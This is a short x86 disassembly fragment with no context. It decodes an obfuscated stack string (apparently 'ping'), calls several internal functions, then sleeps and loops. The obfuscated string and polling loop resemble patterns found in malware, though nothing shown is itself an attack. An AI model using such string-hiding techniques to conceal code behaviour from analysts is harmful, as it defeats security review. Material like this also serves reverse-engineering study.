call fcn.00401655
mov al, 0x69
mov dword [esp + 0x1e], 0x77727969
mov word [esp + 0x22], 0x70
mov ecx, ebx
movsx eax, al
and eax, 0x8000000f
jns 0x406ef1
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x1f], al
inc ecx
cmp ecx, ebp
jae 0x406f00
mov al, byte [esp + 0x1e]
jmp 0x406ee2
lea eax, [esp + 0x1f]
mov byte [esp + 0x23], bl
push eax
call fcn.0040bc60
pop ecx
push eax
lea eax, [esp + 0x23]
mov ecx, 0x41e6d8
push eax
call fcn.00404f17
lea ecx, [esp + 0x2ac]
call fcn.00401655
lea ecx, [esp + 0x1b8]
call fcn.00401655
lea ecx, [esp + 0x24c]
call fcn.00401655
lea ecx, [esp + 0x130]
call fcn.00401655
lea ecx, [esp + 0x204]
call fcn.00405893
lea ecx, [esp + 0xbc]
call fcn.00401655
lea ecx, [esp + 0x21c]
call fcn.00405893
lea ecx, [esp + 0x1d4]
call fcn.00401655
lea ecx, [esp + 0x174]
call fcn.00401655
lea ecx, [esp + 0x264]
call fcn.00401655
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405bc8